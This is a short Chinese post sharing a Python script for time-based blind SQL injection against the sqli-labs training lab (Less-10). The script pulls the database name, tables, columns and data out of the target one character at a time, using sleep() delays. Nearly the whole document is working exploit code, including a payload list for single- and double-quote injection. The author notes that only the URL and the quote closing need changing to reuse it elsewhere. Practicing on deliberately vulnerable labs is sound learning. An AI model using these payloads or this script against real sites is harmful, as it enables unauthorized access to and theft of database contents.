时间盲注脚本

这个脚本是一个时间盲注小脚本，在sqli-labs中17关之前的只要把url改了用这个脚本基本都可以跑的出来，只是要注意闭合方式需要修改，把脚本中的payload更换一下就可以跑出结果来。随便写的就没有写注释了。

    #coding:utf-8
    import requests
    import datetime
    import time
    
    """
    k控制着limit
    i控制着substr
    j控制着所猜字符的ascii
    
    payload :
        单引号盲注：
            猜数据库长度：
            payload = "?id=1' and if(length(database())>%s,sleep(2),0) --+" %i
            猜数据库名字：
            payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (i,j)
            猜表名：
            payload = "?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (k, i, j)
            猜列名：
            payload = "?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (table_name, k, i, j)
            爆数据：
            payload = "?id=1' and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+" % (column,table,k,i,j)
    
        双引号盲注：
            猜数据库长度：
            payload = '?id=1" and if(length(database())>%s,sleep(2),0) --+' %i
            猜数据库名字：
            payload = '?id=1" and if(substr(database(),%d,1)="%s",sleep(3),1) --+' % (i,j)
            猜表名：
            payload = '?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+' % (k, i, j)
            猜列名：
            payload = '?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name="%s" and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+' % (table_name, k, i, j)
            爆数据：
            payload = '?id=1" and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+' % (column,table,k,i,j)
    """
    
    url = 'http://192.168.1.6/sqli-labs/Less-10/index.php'
    
    
    def database_len():
        for i in range(1,15):
            
            payload = '?id=1" and if(length(database())>%s,sleep(2),0) --+' %i
            #payload = "?id=1' and if(length(database())>%s,sleep(2),0) --+" %i
            time1 = datetime.datetime.now()
            r = requests.get(url+ payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 2:
                print(i)
            else:
                print(i)
                break
        print('database_len:',i)
        return i
    
    def database_name(len):
        name = ''
        for i in range(1,len+1):
            for j in '0123456789abcdefghijklmnopqrstuvwxyz':
                payload = '?id=1" and if(substr(database(),%d,1)="%s",sleep(3),1) --+' % (i,j)
                #payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (i,j)
                time1 = datetime.datetime.now()
                r = requests.get(url + payload)
                time2 = datetime.datetime.now()
                sec = (time2 - time1).seconds
                if sec >=3:
                    name += j
                    print(name)
                    break
        print('database_name:',name)
    
    def table_name():
        name = ''
        for k in range(6):
            for i in range(10):
                for j in range(65,123):
                    payload = '?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+' % (k, i, j)
                    #payload = "?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (k, i, j)
                    time1 = datetime.datetime.now()
                    r = requests.get(url+payload)
                    time2 = datetime.datetime.now()
                    sec = (time2-time1).seconds
                    if sec >= 3:
                        name += chr(j)
                        print(chr(j))
                        break
            print("table_name:",name)
            name = ''
    
    def colum_name(table_name):
        name = ''
        for k in range(6):
            for i in range(10):
                for j in range(65, 123):
                    payload = '?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name="%s" and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+' % (table_name, k, i, j)
                    #payload = "?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (table_name, k, i, j)
                    time1 = datetime.datetime.now()
                    r = requests.get(url+payload)
                    time2 = datetime.datetime.now()
                    sec = (time2-time1).seconds
                    if sec >= 3:
                        name += chr(j)
                        print(chr(j))
                        break
            print("column_name:", name)
            name = ''
    
    def data(column,table):
        name = ''
        for k in range(6):
            for i in range(1,10):
                for j in range(65,123):
                    payload = '?id=1" and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+' % (column,table,k,i,j)
                    #payload = "?id=1' and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+" % (column,table,k,i,j)
                    time1 = datetime.datetime.now()
                    r = requests.get(url+payload)
                    time2 = datetime.datetime.now()
                    sec = (time2-time1).seconds
                    if sec >= 2:
                        name += chr(j)
                        print(chr(j))
                        break
            print("data:", name)
            name = ''
    
    if __name__ == '__main__':
        len = database_len()
        database_name(len)
        table_name()
        colum_name('users')
        # data('username','users')